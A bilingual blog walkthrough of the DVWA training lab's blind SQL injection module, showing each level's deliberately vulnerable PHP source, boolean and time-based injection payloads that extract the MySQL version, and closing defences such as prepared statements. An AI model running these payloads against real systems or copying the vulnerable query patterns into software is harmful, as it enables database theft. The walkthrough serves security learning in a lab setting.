DVWA 通关指南:SQL Injection-Blind(SQL 盲注)

SQL Injection (Blind)

When an attacker executes SQL injection attacks, sometimes the server responds with error messages from the database server complaining that the SQL query's syntax is incorrect. Blind SQL injection is identical to normal SQL Injection except that when an attacker attempts to exploit an application, rather then getting a useful error message, they get a generic page specified by the developer instead. This makes exploiting a potential SQL Injection attack more difficult but not impossible. An attacker can still steal data by asking a series of True and False questions through SQL statements, and monitoring how the web application response (valid entry retunred or 404 header set).
当攻击者执行 SQL 注入攻击时,服务器有时会响应来自数据库服务器的错误消息,报告 SQL 查询的语法不正确。SQL 盲注入与普通 SQL 注入相同,只是当攻击者试图利用应用程序进行攻击时,得到的不是有用的报错信息,而是开发人员指定的通用页面。这使得利用 SQL 注入攻击变得更加困难,但这并非是不可能的。攻击者仍然可以通过 SQL 语句询问一系列真假问题,并监视 web 应用程序的响应来窃取数据。
"time based" injection method is often used when there is no visible feedback in how the page different in its response (hence its a blind attack). This means the attacker will wait to see how long the page takes to response back. If it takes longer than normal, their query was successful.
基于时间的盲注通常在没有可见反馈的情况下使用,这意味着攻击者将等待页面响应的时间。如果比正常情况下花费的时间更长,则查询成功。
Find the version of the SQL database software through a blind SQL attack.
通过 SQL 盲注攻击找到 SQL 数据库软件的版本。

Low Level

The SQL query uses RAW input that is directly controlled by the attacker. All they need to-do is escape the query and then they are able to execute any SQL query they wish.
SQL 查询使用攻击者直接控制的原始输入,攻击者通过转义查询就可以执行任何想要的 SQL 查询。

源码审计

源码如下,源码直接用 GET 方法传入参数 id,但是没有经过任何过滤就拿去 SQL 查询了。同时我们看到网页并不会返回查询的结果,而是当查询到内容时返回 “User ID exists in the database”,查不到时返回 “User ID is MISSING from the database”。

<?php

if(isset($_GET['Submit'])){
    // Get input
    $id = $_GET['id'];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows($result); // The '@' character suppresses errors
    if($num > 0){
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else{
        // User wasn't found, so the page wasn't!
        header($_SERVER['SERVER_PROTOCOL'] . ' 404 Not Found');

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

例如在输入框输入 id,服务器返回这个 id 是否存在。也就是说查询内容不会被回显,存在 SQL 盲注漏洞。

攻击方式

bool 盲注

bool 盲注是在不知道 SQL 查询的返回值,但是知道查询是否成功的情况下,猜测数据库中的敏感信息的手法。

判断注入类型

首先注入如下内容,根据回显信息查询成功。

1' and 1 = 1 #


接着注入如下内容,根据回显信息查询失败。由此我们可以得出页面存在 SQL 盲注,并且因为需要用单引号闭合,这是个字符型的注入漏洞。

1' and 1 = 2 #

获取版本号

使用下面的 SQL 语句可以获得 MySql 的版本号,VERSION()函数以字符串形式返回 MySQL 数据库的当前版本。

select version();

首先测试版本号的长度,这里要用到一些 MySql 函数。length() 函数用于获取字符串的长度,substr( string, start, length) 函数用于截取字符串 string,start 为起始位置,length 为长度。注入如下内容,首先用 substr 函数提取返回的版本号字符串,使用 length() 函数和我们的猜测值比较是否相等。返回查询不存在,说明版本号字符串长度不为猜测值 1。

1' and length(substr((select version()),1)) = 1 #


测试到长度为 6,返回查询成功,说明版本号字符串长度是 6。

1' and length(substr((select version()),1)) = 6 #


接下来就要猜测版本号字符串的内容了,MySql 的版本号由数字和 “.” 符号组成。例如我猜测字符串的第一个字符为 “5”,则我注入如下内容,返回查询成功说明第一个字符是 “5”。

1' and substr((select version()),1,1) = '5' #


注入方法是使用穷举法,依次用 0 ~ 9 和 “.” 11 个字符进去测试。经过 SQL 盲注后,回显查询成功的语句如下,组合起来的版本号是 “5.7.26”。

1' and substr((select version()),2,1) = '.' #
1' and substr((select version()),3,1) = '7' #
1' and substr((select version()),4,1) = '.' #
1' and substr((select version()),5,1) = '2' #
1' and substr((select version()),6,1) = '6' #

时间盲注

所谓时间盲注是利用 sleep()benchmark() 等函数让 MySql 执行时间变长,通过执行的时间判断是否查询成功。时间盲注经常与 if(expr1,expr2,expr3) 语句结合使用,通过页面的响应时间来判断条件是否正确。

判断注入类型

MySQL 中的 sleep() 函数起到等待的功能,执行 select sleep(N) 可以等待 N 秒钟。注入下面的内容,服务器响应时间很短,说明 sleep() 函数没有执行。

1 and sleep(3) #

注入下面的内容,服务器响应时间大于 3 秒,说明 sleep() 函数被执行,服务器存在字符型的 SQL 盲注。

1' and sleep(3) #

获取版本号

首先要获取版本号的长度,这里要用到 if(expr1,expr2,expr3) 语句,其含义是如果 expr1 的结果是 True,则返回 expr2,否则返回 expr3。构造如下语句,版本号的猜测值为 1,服务器的响应时间很快,说明 sleep() 函数没有执行。

1' and if(length(substr((select version()),1)) = 1, sleep(3), 1) #

测试到测试值为 6 时,服务器有明显延迟,可以抓包看到响应时间大于 3 秒,说明版本号长度为 6。

1' and if(length(substr((select version()),1)) = 1, sleep(3), 1) #

接下来就要猜测版本号字符串的内容了,MySql 的版本号由数字和 “.” 符号组成。例如我猜测字符串的第一个字符为 “5”,则我注入如下内容,服务器响应时间大于 3 秒说明第一个字符是 “5”。

1' and if(substr((select version()),1,1) = '5' , sleep(3), 1) #


注入方法是使用穷举法,依次用 0 ~ 9 和 “.” 11 个字符进去测试。经过 SQL 时间盲注后,以下语句服务器有大于 3 秒的延迟,组合起来的版本号是 “5.7.26”。

1' and if(substr((select version()),2,1) = '.' , sleep(3), 1) #
1' and if(substr((select version()),3,1) = '7' , sleep(3), 1) #
1' and if(substr((select version()),4,1) = '.' , sleep(3), 1) #
1' and if(substr((select version()),5,1) = '2' , sleep(3), 1) #
1' and if(substr((select version()),6,1) = '6' , sleep(3), 1) #

Medium Level

The medium level uses a form of SQL injection protection, with the function of "mysql_real_escape_string()". However due to the SQL query not having quotes around the parameter, this will not fully protect the query from being altered.
中级采用 SQL 注入保护的形式,使用 “mysql_real_escape_string()” 函数对字符进行转移。但是由于 SQL 查询的参数周围没有引号,这种机制不能完全保护查询不被更改。

源码审计

源码如下,源码使用了 mysql_real_escape_string() 函数转义字符串中的特殊字符。也就是说特殊符号 \x00、\n、\r、\、'、" 和 \x1a 都将进行转义。同时开发者把前端页面的输入框删了,改成了下拉选择表单,希望以此来控制用户的输入。

<?php

if(isset($_POST['Submit'])){
    // Get input
    $id = $_POST['id'];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if($num > 0){
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?> 

攻击方式

虽然现在查询 id 的方式改为了修改表单,但是我们仍然可以抓包然后修改提交的参数。具体的操作流程和 low 相似,只不过我们是在 brup 中修改 id 的值,中级别的代码是数字型注入。

值得一提的是,单引号在中级别的代码中被过滤了,不过我们可以使用 ASCII 码的值来代替原来单引号括起来的字符。MySql 的 ASCII() 函数把字符转换成 ascii 码值,然后我们同样把版本号的各个字符提取出来,然后和 0 ~ 9 和 “.” 11 个字符的 ascii 码值作比较。例如注入如下内容,可以测试出版本号第一个字符为 “5”。

1 and ascii(substr((select version()),1,1)) = 53 #


基于时间盲注也一样,需要套个 ascii 函数,用 ascii 码值进行判断。

1 and if(ascii(substr((select version()),1,1)) = 53 , sleep(3), 1) #

High Level

This is very similar to the low level, however this time the attacker is inputting the value in a different manner. The input values are being set on a different page, rather than a GET request.
高级别与低级别非常相似,但是这次攻击者将以不同的方式输入值。输入值是在另一个页面上设置的,而不是一个 GET 请求。

源码审计

源码如下,High 级别的只是在 SQL 查询语句中添加了 LIMIT 1,这令服务器仅回显查询到的一个结果。同时源码利用了 cookie 传递参数 id,当 SQL 查询结果为空时会执行函数 sleep(),这是为了混淆基于时间的盲注的响应时间判断。

<?php

if(isset($_COOKIE['id'])){
    // Get input
    $id = $_COOKIE['id'];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if($num > 0){
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if(rand(0, 5) == 3){
            sleep(rand( 2, 4));
        }

        // User wasn't found, so the page wasn't!
        header($_SERVER[ 'SERVER_PROTOCOL'] . ' 404 Not Found');

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

攻击方式

由于当查询不到结果时,服务器会等待一段时间,这会对时间盲注造成混淆,因此我们使用 bool 盲注。虽然查询语句添加了 LIMIT 1,但是我们可以利用 “#” 把它注释掉,这种防御形同虚设,此时 bool 盲注的过程与 Low 级别基本一样。

Impossible Level

The queries are now parameterized queries (rather than being dynamic). This means the query has been defined by the developer, and has distinguish which sections are code, and the rest is data.
现在使用的查询是参数化查询(而不是动态的),这意味着查询已由开发人员定义,并区分哪些部分是代码或是数据。

<?php

if(isset($_GET['Submit'])){
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET['id'];

    // Was a number entered?
    if(is_numeric($id)){
        // Check the database
        $data = $db->prepare('SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;');
        $data->bindParam(':id', $id, PDO::PARAM_INT);
        $data->execute();

        // Get results
        if($data->rowCount() == 1){
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else{
            // User wasn't found, so the page wasn't!
            header($_SERVER['SERVER_PROTOCOL'] . ' 404 Not Found');

            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

Impossible 级别的代码采用了 PDO 技术,防止代码和查询数据的混杂,Anti-CSRFtoken 机制的加入了进一步提高了安全性。

总结与防御

SQL 注入攻击就是 Web 程序对用户的输入没有进行合法性判断,从而攻击者可以从前端向后端传入攻击参数,并且该参数被带入了后端执行。在很多情况下开发者会使用动态的 SQL 语句,这种语句是在程序执行过程中构造的,不过动态的 SQL 语句很容易被攻击者传入的参数改变其原本的功能。SQL 盲注入与普通 SQL 注入相同,只是当攻击者试图利用应用程序进行攻击时,得到的不是有用的报错信息,而是开发人员指定的通用页面。
当我们进行SQL 盲注时,往往是采取以下几个步骤:

  1. 判断是否存在注入,注入是字符型还是数字型;
  2. 猜解当前数据库名;
  3. 猜解数据库中的表名;
  4. 猜解表中的字段名;
  5. 猜解数据。

当开发者需要防御 SQL 注入攻击时,可以采用以下方法。

  1. 过滤危险字符:可以使用正则表达式匹配各种 SQL 子句,例如 select,union,where 等,如果匹配到则退出程序。
  2. 使用预编译语句:PDO 提供了一个数据访问抽象层,这意味着不管使用哪种数据库,都可以用相同的函数(方法)来查询和获取数据。使用 PDO 预编译语句应该使用占位符进行数据库的操作,而不是直接将变量拼接进去。

参考资料

DVWA全等级SQL Injection(Blind)盲注--手工测试过程解析
新手指南:DVWA-1.9全级别教程之SQL Injection(Blind)
SQL注入基础:4.时间盲注

posted @ 2020-09-20 01:23  乌漆WhiteMoon  阅读(899)  评论(0编辑  收藏  举报